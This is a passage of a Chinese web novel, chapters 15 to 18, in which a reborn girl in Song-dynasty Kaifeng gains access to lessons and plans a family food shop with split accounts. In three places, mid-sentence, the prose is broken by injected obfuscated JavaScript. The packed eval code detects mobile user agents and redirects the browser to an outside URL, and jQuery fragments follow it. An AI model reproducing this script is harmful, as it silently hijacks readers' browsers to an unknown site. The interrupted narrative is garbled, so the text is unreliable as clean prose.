来了，表现的时候到了，吴悦深知日后能否和兄长一起上学，真正的参与到政治与文化事务，就在此时的一问一答里。 只有了解这些士大夫的思维，用当前这个时代男性的视角看待世界，她才能预判他们的预判，然后提前做出决策来阻击。 15. 第 15 章 她敛衽一礼，脆生生答道："回先生话，我今年五岁，已随兄长通读《尚书》，粗通大义，现正研习《礼记》。" “听说你常观兄长课业笔记，遇到有疑难的地方便追根究底？” “正是。有时候兄长也回答不出来，便会代为请教夫子，让夫子来解答，总是能求得圆满解答的。” 石介见这个幼齿小儿应答如流，不禁生起逗弄之意。于是就说“你兄长之前在县学课业尚轻，时间比较空闲。如今他拜了我为师，是要每日刻苦研习经义，恐怕无瑕分身教你了，你怎么办？” “回禀先生，如果您允许，我可以在窗外旁听，如果先生您不喜叨扰，我也可以借兄长的笔记自学。” “如果这两种我都不允许呢？”石介佯作严肃。 吴悦正色凝视，认真地说：“海不辞水，故能成其大；山不辞土石，故能成其高。先生治学海纳百川，自然不会轻慢认真求学之人。” 石介愕然，久久地才说话：“你小小年纪居然还读《管子》？” 吴悦点点头。 仓廪实则知礼节，衣食足则知荣辱，也是出自《管子》。物质基础有了，道德教化才能跟得上。 谁没听过□□呢。 她借用此典，既赞石介治学包容，又隐含求学之志，恰似"海不辞水"之喻，不着痕迹地拍了下马屁。 而吴悦也敏锐地捕捉到石介眼底掠过的一丝惋惜，似在慨叹她非男儿身。 她却泰然自若，性别不是界限。 可惜不是男子大概是这个时代，甚至在后世，对女性能力的褒奖。可是为什么我们要把男性设定衡量才具的标尺？ 哀叹非为男儿，难道不是自困在"成为男性或者超越男性"的焦虑之中；难道不是另外一种形式承认男性身份即等同于能力通行证；难道不是另外一种形式的‘厌女’。 她觉得女孩子天生就很好，偏要以女儿身于这封建世道闯出一番天地。 她的哥哥是石介的弟子，也会是吕希哲的同门师兄弟，如果未来只是求个官做，那是绰绰有余，但是这还不够。 吕氏作为文官集团保守派的代表，吕夷简以“越职言事、勾结朋党”为由掀起景祐党争，吕公著在神宗朝与司马光等旧党联合反对王安石变法，吕希哲继承家族政治理念，其门生多属旧党，进一步巩固了吕氏作为保守派世家的地位。 吕氏家族和其他世家大族，通过恩荫和门生故吏形成庞大官僚网络，保障特权。而改革派大多出生寒门子弟，支持主张以才能晋升，这直接威胁到了保守派的政治根基。 吴悦深知，未来吕氏家族必将成为她的政敌。她要保下石介的命，为范仲淹这一庆历改革派增强实力，日后就能成为范仲淹的政治同盟。但是这还不够，她的根基依旧薄弱，她需要军队来保护自己，还需要下层的民众拥护。 她希望平民的平均寿命能突破到40岁，希望更多的女孩不要生下来就被扼杀，希望儿童们不要被饿死。平民蜉蝣一瞬，实在太其可怜。 将头转向皇城的方向，目光似乎可以穿透宫墙，看到重重宫闱内端坐在垂拱殿的宋仁宗，她在心中立誓，日后一定要走到那个位置。 刘耘娘回来时仍有些恍惚，今日不仅她的儿子拜得名师，女儿也被先生盛赞，甚至感叹此女若为男儿必成大器。 "娘"吴悦扯了扯母亲的衣袖，认真央求道："悦儿也要娘缝个小书包，还要买全套笔墨纸砚。如今悦儿用的都是哥哥书房里的笔墨，等正式去听课，可不能在夫子面前借用哥哥的文具了。" 没错，吴悦也被允许可以去旁听。 石介新收的两名弟子学识水平与年龄差距悬殊：八岁的吕希哲由已弱冠之年、在石介门下治学多年的何群负责启蒙。而吴夏的课业则安排在上午，作为亲妹妹的吴悦得以一同听课。 石介不让吴悦与吕希哲同堂授课，实为顾虑吕家观感。这对年纪相仿的小儿女若朝夕相处，唯恐吕家误会他有意撮合武将之女与公卿嫡子，以为他故意安排个破落户黏上人家吕家，而且也会伤害女方的名誉。 因此吴悦虽获准旁听，却仅限当前阶段。待两年后吕希哲完成启蒙课业，与吴夏同班上课，届时吴悦便只能归家自学，通过抄录笔记延续学业咯。 "没错，爹爹给你买套新的，咱们以后用自己的，不借别人的。"吴军将小女儿抱在怀中，越看越欢喜。这孩子聪明伶俐，生的又好，若好好栽培定有一番大作为。 他终于开始认真琢磨前些日子曹俣的话。 原来他与同为供备库副使的曹俣同在武器署当值，父吴温早年又曾在曹俣祖父曹彬麾下效力，这层渊源促使两人渐生亲近，常于公务结束之余聚饮。数日前酒酣耳热之际，曹俣提及自家皇后堂姐打算物色几名小娘子入宫，陪伴4岁就被接入禁中教养的高滔滔。 原来前朝早有些风言风语，说曹皇后借"排解宫闱寂寞"之名，将自家外甥女接入宫中，实则刻意安排与养于宫中的赵宗实同食共学，促成青梅竹马之局，日后好造成‘皇家儿娶皇后女’，目的也只为曹氏谋划，扩大外戚的势力。 当今圣上是否能诞育皇嗣、赵宗实是否继位尚难断言，但曹皇后未雨绸缪已是不争事实。即便不能入主中宫，武将家庭出身的高滔滔若能联姻宗室子弟赵宗实，对曹氏来说，亦不失为良策。 吴军本来打算当这些为酒后戏言，他明白曹俣这番话其实存了试探，试探他是否有想送女儿入宫的心思。但是女儿年仅五岁，他确实有些不舍得。 并且他之前也没有太大的抱负，只想转任文职，给儿子谋个好出身，待其补入国子监后，授个七品小官，迎娶品级相当的文官之女，膝下再育几个孩子，日后再让他的孙子好好读书。如此数代经营下，吴家也可以跻身诗书簪缨之列，洗去武将出身的印记。 然而自举家入京两月余，他与幼女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500252|170310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝夕相处，愈发察觉此女天资聪颖且容色姝丽。又见儿子得拜大儒门下，心中渐渐升起了宏愿，若能培养个进士，日后儿子位列紫袍大员也是可能的。女儿自然也要悉心教养，若能借曹俣之力入宫，寄养在曹皇后处，运气好了得赵宗实青眼，运气差了也能出宫后皇室教养的履历嫁入簪缨世家。儿子和女婿未来在官场上互相提携，吴家鼎盛可期。 他打定主意，日后寻个由头邀曹俣过府，相看小女资质。 因此晚上，刘耘娘再和丈夫商议起铺子之事，两人就细节探讨一番，又细细核算了家中的资产，决定还是尽量买下店铺，本已经躺下准备入睡，黑暗中，她却突然听到丈夫交代。 “先生也说咱们女儿聪慧，以后对她的教育也要尽心。她兄长若学有所成，她未尝不能嫁入高门。咱们要富养女儿，往后她所求之物，你若觉得不过分便尽量满足。” 刘耘娘心头一凛，随即有些苦涩的应了一声。她隐约意识到丈夫对幼女有所图谋，却无话可说，只能默然接受——女子的命运，可不就是这般由不得自己么？ 吴悦对此一无所知，她只觉得刘耘娘突然不再经常板着脸骂她了，无论她想做什么，都一个‘好’字。她爹也是，每次见到她都笑意吟吟，还经常从外面带一些新鲜玩意给她。 平静的水面下肯定暗潮涌动，她想不明白，也只能按兵不动，兵来将挡水来土掩。 不过，这也算是天赐良机，怎么能白白放弃。 因此她试探的提了嘴想在家中砌一个土窑，居然当场一口答应，让她精心准备的说辞全无用处。 原本她打算借口从书中看来的驴肉火烧和肉夹馍甚是鲜美，她也想学着复刻出来，日后咱家还能靠这个赚大钱云云为借口。 不对劲。 她开始细心的观察了起来，发现祖母手腕上少了一个据说是祖父送与的金镯子，还发现她娘的妆匣里少了串大姐和姐夫第一次回门送的珍珠项链。 不过这只能说明家中缺钱，还是不能解释她爹娘对她的态度。 就这样上午跟着哥哥去读书，下午回家练字，晚上自娱自乐画一些青枣看不懂的鬼画符。 刘耘娘已经把砌窑的师傅请来了，家中的王婆居然一改往日的寡言少语。就土窑规格、炉膛构造、通风口设计及防火砖材质等细节，与师傅展开专业探讨。 吴悦这时才知道王婆居然是河北西路保州人，也就是现在的河北保定人。 因北辽连年侵扰，她爹爹那代就内迁到南阳落户，而王婆最拿手的居然就是做饼，不过他们老家称作火烧。 这就对了，吴悦暗自点头。 根据文献记载，驴肉火烧的起源可追溯至宋代漕帮与盐帮的争斗。相传漕帮得胜后，将缴获的毛驴宰杀炖煮，夹入当地火烧中食用，逐渐形成这风味小吃。 虽然各家文献对具体起源说法不一，但是不管怎么样都和河北保定的漕河镇有关。 16. 第 16 章 不过驴肉供应不便，肉夹馍显然更具可行性，采用的就是便宜的猪肉。 早在唐代的文献里已经有了“腊汁肉”夹饼的记载，后世的西安肉夹馍则形成于明清时期。此刻，她想让这道美食提前问世。 毕竟，只是单纯洒满芝麻的饼有什么好吃的，既然已有加入蜂蜜的髓饼，为何不能创新一款夹着秘制猪肉的肉夹馍？ 经数十种香料慢炖数小时，肉质酥烂到"肥而不腻，瘦而不柴"，红亮的肉汁中咸香微甜，香料与肉香完美交融，再配以烤的酥脆的芝麻饼肯定会虏获东京城人的心。 蹲在院子里，吴悦浮想联翩，仿佛已能感受到那令人垂涎的美味。 她决定了，在土窑还在垒砌期间，人也不能闲着。 先把猪油炼出来。 喊上她的小帮手青枣，去肉铺切一些新鲜的猪板油回来。 猪油的炼制其实很简单，只需要取三斤新鲜板油切成骰子块，置于铁锅中，注入井水没过油块。待灶火催沸，水汽蒸腾散尽，锅底便凝出琥珀色的液态油脂。将其舀入预先投入数粒黄豆的陶瓮，置于阴凉处静置，油脂渐次凝固成雪白色脂膏。这样加了黄豆的猪油可以久放不苦，如果做的量大怕坏，还可以加些盐。 而锅底剩下的就是猪油渣了，焦香四溢，如此香味吸引来了家中所有人，连吴王氏都连吃了好几块。 晚上，又一次下职晚归的吴父吃到了用猪油煮的索饼。 细面裹着油亮的青菜，面汤也泛着奶白色的涟漪。 他端起碗来"呼噜噜"一气吸尽，连残汤都喝的干干净净，抹了把嘴，忙追问这是什么。 刘耘娘笑着回答："是悦娘用猪肉熬炼的猪油，原以为用水煮会焦苦，不想竟熬得这般清亮。今夜这汤饼便是用这猪油烹制，女儿还说这猪油能做出更多佳肴呢。" 虽然说吴家是中阶武官，家中也算富裕，但是芝麻油也不是顿顿都能炒着吃的，很多时候也只是清汤煮菜，寡淡无味。 这个猪油一来，就立刻受到了所有人的青睐，尤其是目睹那惊人的出油率，再考量猪肉低廉的市价，更是觉得此物大有可为。 刘耘娘原计划只开个分茶店，也就是后世提供简餐的快餐店，售卖火烧，再辅一些各类口味的酸奶做甜品。没想到猪油的鲜香彻底颠覆预期，让她想重新规划铺子的经营方向，思索开食店的可能。 吴父却认为不必这么急着下定论，他和女婿还没有议定店铺购置事宜。 虽说女婿已首肯，但是还要征得家中的父母许可，待签订契约并报备官府完成过户，方好着手店面改造、经营规划及后厨装修等事宜。此外，账房与掌柜人选也需要慎重考量，还需要雇佣一些帮佣和帮厨。 他倒是有了些想法，可以招聘一些军中因残退伍，现在也没什么营生的弟兄。还有一些战死沙场，不得不独自抚养子女，生计维艰的遗孀。 这些人都曾随他出生入死，用起来自然也是放心的。 “先不急，容我从长计议。”安抚了下妻子，他打定主意，过些日子便前往几位伤残旧部家中探望。 而隔日恰好是旬休，按惯例每月的初十、二十、三十都会休假三日。不巧的是，今年端午节和旬休撞车了。 依制端午本应仅放单日，如此一来，原本的四日假期便缩水为三天。因端午与旬休重叠，北宋官吏们就无端少了一日假期。 难得不用上职，吴父打算今日就去那几个旧部家中探望一二。 刚准备出门，恰好又看到今日因端午也闲在家中的儿子和女儿。他略一思忖，便命儿子牵出厩中两马匹，自己抱着幼女上了一匹，让儿子也随同一起，一前一后径向南熏门附近的街坊行去。 这处街坊毗邻外城南熏门，望去多是低矮的土坯房，院墙也仅仅刚到人腰。更有甚者，几处屋舍半颓于地，但是却还能看到炊烟袅袅，亦有人居住。 路上居然瞧不见几个健壮青年，到处都只能看到面无血色的老弱扶残在颤颤巍巍的做工、一些衣衫破烂的小子在家中劈柴、一些小娘子蹲在臭水沟旁洗衣服。 吴夏大为震惊，东京这里可是天子脚下，他在老家的乡下都没看到过这般贫寒景象。吴悦的惊讶却别具缘由，眼前的贫困她早心知肚明，再繁华锦绣的大城市也有破落肮脏的闾巷。 "朱门酒肉臭，路有冻死骨"，勋贵珠玉之靡与闾阎藜藿之苦，是每个时代都会存在的现象。她只是有些震惊她爹居然带一个小女孩来这种地方，就不怕稚子受惊？ 父女三人在一些逼仄狭窄的小巷中辗转多时，才来到今日探访的目的地。 这是个连门都没有的院子，院墙也就是几根竹篱围着。能看到一位鬓发如霜的老妪正俯身洗着衣服，身上所穿的粗布衣衫已洗得发白，发髻用破布条胡乱捆扎，龟裂渗血的双手在冷水中浸泡着，身旁竹篮里躺着个吮指啃得正香的婴儿。 忽闻到马蹄声近，老妪的脸色微变，待看清来者容貌，就又舒展眉梢。她慌忙放下手中在洗的衣服，用补丁摞补丁的围裙擦拭双手，颤巍巍欲行大礼："大人......"吴父立即下马抢前半步托住她佝偻的身躯。 “大娘，小六家的媳妇呢？还有你家那个大孙女，怎的也不在？”四下环视了一圈，发现只有老妪和这个竹篮里的婴儿，他开口询问。 “回大人的话，我儿媳去前头的店里帮忙做工了。至于大丫，去城外拾柴去了，约莫等会就回。”老妇觑了眼吴父抱在怀中的吴悦和后面的吴夏，恭敬地问“这是公子和小娘子吧？公子真是一表人才，小娘子也是好看的紧。” “正是，给你们大娘问好。”微微颔首，吴父示意两个孩子见礼。 没见到人，他也不打算久等，解下腰间钱袋，给老妇取出几贯钱，叮嘱她等待孙女和儿媳回来后， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500253|170310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就去内城医者街寻他，他有生计安排。老妇闻言眼眶泛红，竟然想扑通跪着再磕头谢恩，又被吴父拽了起来。 他们三人又往南熏门附近的闾巷深处行去，如果说第一家应该是最惨的最穷的、最破，连侧屋顶的茅草都被风掀得七零八落。接下来的那几家虽然屋舍稍整，却家家都有肢体残疾者，或独臂持杖，或跛足曳藜，或盲者倚墙，但是相通点则是这些人一见吴军，皆仆地叩拜，口称"指挥使大人"。 每至一家，她爹都留了几贯钱，然后正色叮嘱自己过些时日要用人，每家先出一个，不限男女，给开月钱，去他要开的铺子里干活。 这么一圈转下来，吴悦已经明白了她爹想干什么，家里想开店，她爹这是来招人的。 今天他们来探访的这些人家，肯定就是吴父之前手下的兵，因战致残解甲归田，这是趁着端午节来送温暖去了。他们既然不能当兵了，就没有军饷俸银，也没有谋生技能，家庭的负担都在家中子女和妻子肩上。此举，就是不打算去找牙行买人，而是给这些曾以血肉之躯卫家国的老卒，辟开一条堂堂正正的谋生之路。 在这些人家当中，第一户应该称最为凄惨，家中男人估摸早已阵亡，只剩下婆媳二人拉扯着两个孩子，其中还有个尚在襁褓的婴儿，看样子她爹是打算给这母女俩都寻份差事。 吴悦倒还能平静接受眼前的一切，可她兄长却仿佛遭受了巨大打击，脸上满是难以置信的神情。 走出这片破败不堪的闾巷后，吴夏才压低声音问道：“朝廷难道就不管这些士兵了吗？” 吴父长叹一声，语气中满是无奈：“朝廷虽说发放了一些抚恤金，可家中缺乏劳力，没有进项，钱总有花光的一天。全是等着吃饭的老弱病残，再加上不时有人染病，那点钱很快就花得一干二净。这些人本就是老家无亲无故、又无田产的军户，就只能在东京城里打些零工，活一天是一天。” 此时当兵的比不上有田地耕种的农民，后者起码有稳定的收入。他们又没有其他谋生技能，只能在战场上拼命。谁家闺女也不愿嫁给朝不保夕的军汉，不想年纪轻轻就守寡，照顾一大家子老老少少。今日所见侥幸成家的只是少数，因为家中兄弟众多，又无妻无子，没人耗费心力去寻，曝尸疆场也无人收殓。久而久之，伤痛稍愈，便回归平常日子，这些逝者也就渐渐被遗忘了。 侥幸没死在战场上的，同样难娶妻成家。这些士兵便靠赌博、酗酒、滋事生非打发日子，扰得民间不得安宁，更坐实了‘兵痞’的恶名。市井百姓见士兵闹事就避之不及，良家女子自然更不愿嫁与他们。 这就是一个恶性循环，很难办。 在后世也就是“冻死不拆屋，饿死不掳掠”岳飞的岳家军，以及也将这一原则写入《纪效新书》的明朝戚继光的戚家军，和“不拿群众一针一线”的解放军能得到人民真心地拥护，不会被视为洪水野兽。 17. 第 17 章 气氛陡然凝重起来，三人都沉默了片刻。 终于，吴父猛地一甩马鞭，径向内城方向疾驰而去：“走，我带你们看看咱家的铺子。” 凌仪街上，一处被木板围挡的铺面传来叮叮当当的斧凿声。三人从特意留作工匠出入的角门进入，首先映入眼帘的便是正在改建的后厨，以及堆满建筑材料与杂物的后院。 刘耘娘最终决意开一家食店，先推出肉夹馍来打头阵，或者也可理解为火烧夹红烧肉。吴悦改良了红烧肉的做法，搭配时下流行的菹醢（腌制蔬菜与发酵肉酱）。同时，店里还会推出新创的甜髓饼，也就是以猪油和面，内馅加入樱桃蜜煎、李子糖霜及时人喜爱的枣泥。 枣泥制品在东京城十分流行，诸如枣泥菊花饼、枣栗糕，还有被称为‘东京三饼’的太师饼、状元饼、京东饼，均以枣泥为主要内馅。 此外，夏季消暑佳品酸奶碗与冰酥酪也会作为特色产品推出。 粗略巡视一番后，吴军与仍在施工的匠作交代了几项修缮事宜，就携着子女走出铺子。他遥指街对面的尚书省，拍着儿子的肩膀道："吾儿日后当需勤勉，此处就是尚书省，毗邻是开封府与御史台，这正是你将来安身立命的地方。咱们武家子弟，能拜入大儒，和世代簪缨家的郎君成为同门师兄弟，如此机遇，殊为不易，你千万要珍惜啊。" 吴悦见兄长被拍得一个趔趄，却双颊绯红如染，眸中闪烁着憧憬之光，想必已在幻想他日跻身朝堂的场景。 可真行，这和后世的名牌大学一日游有什么差别吗？ 她不由得暗自哂笑，难怪今天带着吴夏出门，原来在这等着设下劝学之局啊。 成年人行事果然步步为营，什么都是有目地的。 她作为老师，这套话术可是太熟悉了，古今中外，好用就行。起码，吴夏现在已经被成功激励起青云之志。 寒门子弟想出人头地，本就需举家族之力，集中资源栽培一人。之后再想拔萝卜带土一样，一人得道鸡犬升天。 只是.....带她出来做什么？总不至于是激励兄长的陪衬吧？ 答案很快揭晓。 视察完铺面，激励完儿子，吴父却并无归去之意。 又等了一会，街道尽头传来蹄声如雷，一匹枣红马疾驰而至。马上之人勒缰停住，翻身下马来一位年约三旬的英武汉子。吴父明显和此人相熟，以兄弟相称，寒暄几句就要一起去酒楼畅饮。 吴悦也这样被裹挟着进了酒楼，挨着父亲坐下，被这位曹姓叔父的目光盯得浑身不自在。 她佯装害羞，低垂螓首，只专注于面前的菜肴，偶尔偷瞄一眼曹姓叔父，又慌忙低头。待她吃个半饱时，就被打发出去，说“大人有要事相商"。 磨磨蹭蹭地牵着哥哥的手挪至门口，将门带上的刹那，吴悦听到了曹叔略带惋惜："年纪委实小了些，宫里不打算再养这么小的孩子，费心费力，这次挑的都是十岁以上的。” 她双眸一沉，却已经是明白了这段时间她爹在谋划着什么了。 联系这个曹叔的姓氏和方才的言语，她猜这个人就是曹皇后族中子弟。听了宫里的消息，打算在外面找些小娘子，送进宫内教养，为高滔滔分担火力。高滔滔和赵宗实同为明道元年（1032年）出生，两人只差半岁，如今皆已12岁。 之前这个曹叔大概误以为，既然他们俩人都是4岁被接入宫内抚养，而且之前曹皇后收养的其他养女都是4岁入宫，那么她一个5岁的小娘子当然也可以。 但是宫内现在的想法却已经变了，赵宗实都近束发之年，再接一些小娘子进宫肯定也是年纪相仿的来，这样才能在外庭和民间之间营造曹皇后为赵宗实广宣佳偶的贤德形象。送一个垂髫幼女可怎么和少年郎君相处？反而更糟非议。 如果她再年长几岁，以十二三岁之龄入宫倒也不失为良策，可以提前在宫里做些规划。但是她现在宫外的事都还没忙完，连个自己的班底都没，手头还没钱，这么进去了那才是两眼一抹黑。 还好因为年纪太小被拒绝了，吴悦暗自庆幸。 在隔壁没人坐的包间玩了一会儿，吴父就和曹叔联袂而出。令人诧异的是，她爹面上并没有沮丧之色，曹叔见到她更是笑意吟吟，显然二人已达成新的共识。 危机意识如芒刺在背，吴悦深知必须加快筹谋她要做的事情了。在宗法森严的古代社会，女性婚姻完全由父母包办，“父母之命，媒妁之言”是不可违背的伦理准则。拒绝嫁人的女性往往面临家族压迫、社会排斥，甚至要付出生命的代价。在公认的开明的唐代，《唐律疏议》就明确规定“诸许嫁女，已报婚书及有私约而辄悔者，杖六十”，悔婚即违法。她虽年仅五岁，然而宋代女子十三四岁就开始议亲者比比皆是，及笄前定亲已成惯例。她的婚姻不是属于自己的，只会是一场交易，若想在这场交易中争取话语权，唯有以实实在在的利益为筹码。 吴悦乖巧地攥着吴父的衣袖，跟小鸡仔一样与那曹叔拜别，父女三人这才回到家中。 而家中前厅，一个身着青布襦裙的妇人和一个与青枣年龄相当的女童正陪着刘耘娘和吴王氏说话。两人一看到吴父回来了，慌忙起身行大礼。 吴军端坐在正堂主位，坦然受了她们的跪拜，才抬手示意她们就坐，随即便将安排事宜简明扼要地告知。 妇人本姓杨，她的父亲也是个大酒楼的庖厨，虽早逝却也教了女儿一些家常厨艺。平日街坊要是有什么红白喜事，也会喊她去厨房帮忙，据说手艺不错。 "我家食店专营新奇菜式，所用猪脂、豚肉与鲜乳都是寻常易得之物。"吴父侃侃而谈，"不比樊楼那些水陆珍馐，需千里贩运，难以购买。正是因为这样的原因，后厨更需要可靠的人，外头牙行雇的人，难保不生异心。" 因此，即日起，她们母女需要每日来吴家后厨学艺，将来她们也要守着食店的灶头，不能让外人窃取到了秘方。 杨氏带着自己的女儿伏地叩谢。 她丈夫死在战场上，虽然获得了抚恤，但是家中没有男子支撑，襁褓中的小女儿尚且需照看， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15500254|170310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必须要有个劳动力专门看着。还总是有一些地痞流氓上门勒索，可怜那点抚恤银早被抢掠一空。日子苦的，每天睡前杨氏都心想着不如睡死过去，一死了之，但是天一亮又得挣扎着去浆洗缝补，总不能眼睁睁看着婆婆和两个孩子饿死。还好大女儿大丫虽然才9岁，却很懂事，每日跟着其他大点的男娃一起去城外拾取柴火卖钱，偶尔还能在城门前捡到柴车散落的枝桠弥补家用。 但是如果有了这一份稳定营生，她们就不用再也不用担心凌冽的冬季，不至于被冻毙屋中。 望着杨氏母女踉跄离去的背影，吴悦也看得心中一紧。粗布衣衫空荡荡地挂在这母女俩嶙峋的骨架上，两人的胳膊都细若枯枝。那小女孩也形如雏燕，个头和五岁的她同高，腰间紧缠数匝的布绳竟快与脖颈同宽，磨穿后跟的草鞋勉强用茅草绑着，每一步都似要跌倒。 她眼眶微酸，暗自打定主意，决定还是多展露一些才能出来。她需要更多银钱，能够培养出一套自己的班子，因此食店从筹备时就需要制度化管理，避免一些可以规避的坑，这样才更有利于生成可以一直下金蛋的老母鸡。 再过几天就到她六岁生辰了，曹魏有曹冲五龄称象，唐时有区寄十一岁手刃强寇，她自然也不甘人后。 她略作思忖，便向仍坐在厅中的吴父和刘耘娘说道： “可让大丫学炼猪油，让她娘杨氏专攻红烧肉制作，再请人来家里传授酸奶做法。这三人专门在咱家后厨制作核心食材，做好后送往食店。其余人可安排到店里工作，有专人负责烤火烧，有人侍奉堂食，再设一名厨子按客人需求调制不同口味的肉夹馍，另派一人拼配各式酸奶。此外，还需雇采购人员，专门负责原料采买。”她侃侃而谈。 “通过分工，每个环节只接触部分流程，从而降低秘方泄露风险。比如，采购人员只负责买原料，不知具体配方；制作人员在家处理炼制猪油、腌制五花肉等关键步骤，却不了解最终调味；店内人员负责最后调味，却不清楚原料的具体制作过程。如此可避免单个人掌握全部秘方，不过仍需用契约约束。” 后世的预制菜其实就是这个逻辑，吴悦心道。客人点菜后只需要加热预制品。店里的厨师只需要简单佐味和提供一些凉菜和主食。 “这样的分工也可以提升效率，训练熟练工以节省时间，因为每个环节的人都只专注于自己的任务。杨氏可以批量炒制红烧肉，大丫可以专注熬制猪油。而驻店的人员则可以快速响应食客需求。负责采购的人通晓市价，寻找不缺斤少两，且足够新鲜的肉铺蔬果。” “我们还可以通过这样的分工来实现清晰的账目管理，通过分开记录各部分的支出和收入，更清晰地了解成本和利润。例如将采购的开支单独记录，制作的开支比如木材燃料和原料损耗单独记录。店铺的日常运营开支，就是员工工资和每日营业额，以及损耗也单独记录。这样“三账分立”，就可以更精确地计算各部分成本。这样，当我们发现猪肉采购价过高，就可更换一个肉铺去买，发现器物耗损也可以及时补上。” 18. 第 18 章 其实就是通过分工来保护秘方和提高效率，同时实现清晰的账簿记录。 对后世人来说一点也不陌生，但是在当前的北宋算是一大创举了。 北宋时期还采用“流水账”，（也称“日记账”），就是以时间为顺序，逐笔记录所有的经济活动，不分收入与支出，仅标注时间、事项和金额的单式记账法。 所有收支按时间顺序记录，没有分类，导致难以统计特定项目的支出和收入，难以了解整体财务状况，比如利润、成本等。记录简单，没有核对机制，掌柜或账房可通过漏记、虚增支出等手段贪污，例如将私用款项记为“购柴支出”，因流水账无细分科目，舞弊行径难以察觉。 如果店铺生意越做越大，流水账的记录也会越来越多，想要查询一笔交易需要大量时间和人力来查阅。而且也会在征收纳税时，过于依赖胥吏估算，为胥吏借机勒索"查账费"提供可乘之机。 虽然也方便了商户逃税，通过隐瞒收入流水，减少纳税基数，但是隐藏下来的钱有多少进了账房和掌握兜里，有多少又进了你兜里，这就是两说了。 刘耘娘细思家中管账，为求清晰便利，眼下本就分作三部分：丈夫在外应酬的酒食贽礼，单独立账；她与婆婆、两个孩子的日常开销，包括笔墨纸砚、裁衣布料、婆母药膳等，另设一册；再有柴米油盐、车马费及王婆、青枣等仆佣的月俸，归为第三类。 每月收到丈夫的月俸与职田收入后，她都会按旧例比例规划下月支出，无奈总有突发事件导致超支，只得先从私房钱里垫付，每逢月底算账都头晕眼花。经女儿这么一说，她恍然觉得或许该将家中账目改得更明晰，分作收入、支出、现存银钱三类。 吴父听罢亦有触动。自调任武器署，他便因账目混乱、兵器铸造粗劣而头疼不已，想追查缘由却无从下手。女儿提及的“三账分立”之法，让他隐约抓到些头绪，虽尚不明晰，却觉得值得借鉴，需再细细琢磨。 吴夏对这些庶务门道全然不懂。家中从不让他沾染此类琐事，只催他专心读书。 北宋的官员选拔以诗赋、经义为核心，士人通过科举入仕后，普遍缺乏财税、法律、工程等实务经验。当时官与吏分工明确，形成“官主决策，吏掌实务”的格局。诸如文书处理、赋税征收、户籍管理、仓库调度、案件记录等琐碎却关乎国本的事务，皆由吏员操持。由于这些职事需要专业技能，吏职往往被家族长期把持（如“户房书吏”“刑房典吏”），形成世袭化的专业壁垒。例如户房胥吏世代掌管田亩鱼鳞册，即便新知府到任，也难以核实其中真伪。 这些吏员熟稔援引旧例的手段，常借“祖宗成法”之名曲解政策。如王安石变法中的青苗法，部分地方胥吏竟套用前朝赈贷旧例，将法定二分利息盘剥至五分，致使朝廷政令无法正确下达推广。 官员任期通常不过三年，且频繁调动，而吏员则长期任职。若官员触犯吏员利益，后者便以“文书不全”“程序有误”等借口搁置政务，直至官员妥协或离任。这种局面导致官员不愿得罪吏员，甚至不得不主动向吏员请教实务。官有合法权威却无实操能力，吏有实务权力却缺乏道德约束，百姓苦于苛政却投诉无门，实为北宋积弊之一。 瞧着儿子儿媳和孙子这愣头愣脑的模样，吴王氏心中暗自鄙夷。这小孙女的与众不同，她早瞧得分明。到底她也是历经世事的人，看得就是透彻。当年刘耘娘生下吴悦，整个坐月子期间都是她亲自照料，就发现这孩子打小就不像寻常婴孩，不哭不闹，饿了只轻轻哼唧，睡前必定要排便，夜里也从不需要人起夜照管。 且不喜被人触碰，稍有接触便哭闹或闪躲，直到一岁能开口说话，才渐渐愿意与人亲近。 吴悦在厅中侃侃而谈后便想溜之大吉，临走前不忘找补一句，振振有词道，这是在老家时，和邻家小姑娘玩市井游戏，用石子当钱，每次她都大赢！ 厅堂静默片刻，吴父这才开口：“半月后便是悦儿的生辰，我打算带全家去城外玉仙观祈福。”他此刻担心幼女聪慧过人，恐有早夭之相，感觉需要求神保佑一二。 刘耘娘亦点头称是，心想着刚好借此机会全家出门，游览郊野风光。 吴悦放了一招大的，便脚底抹油溜了。 之后，她依旧保持着规律的生活节奏，上午去学堂读书，下午在家为美食而奋斗。她已成功琢磨出奶酪的做法，给自己弄了一小袋。要知道，家中两天才能吃上一回羊肉，因杀牛触犯律法，市面上几乎见不到牛肉，这奶酪便成了她补充蛋白质、脂肪和钙质的宝贝。她时不时掰两块嚼嚼，权当给身体“加餐”。 她的下一步计划是研究糍粑。虽说北宋已有糍糕（如南城最大的糕点店便售卖糯米粉蒸制的花糕、糖糕），但油炸糍粑却未见踪影。 后世常用烟点更高的植物油炸糍粑，不过在湖南、江西等地，仍保留着用猪油炸的传统。 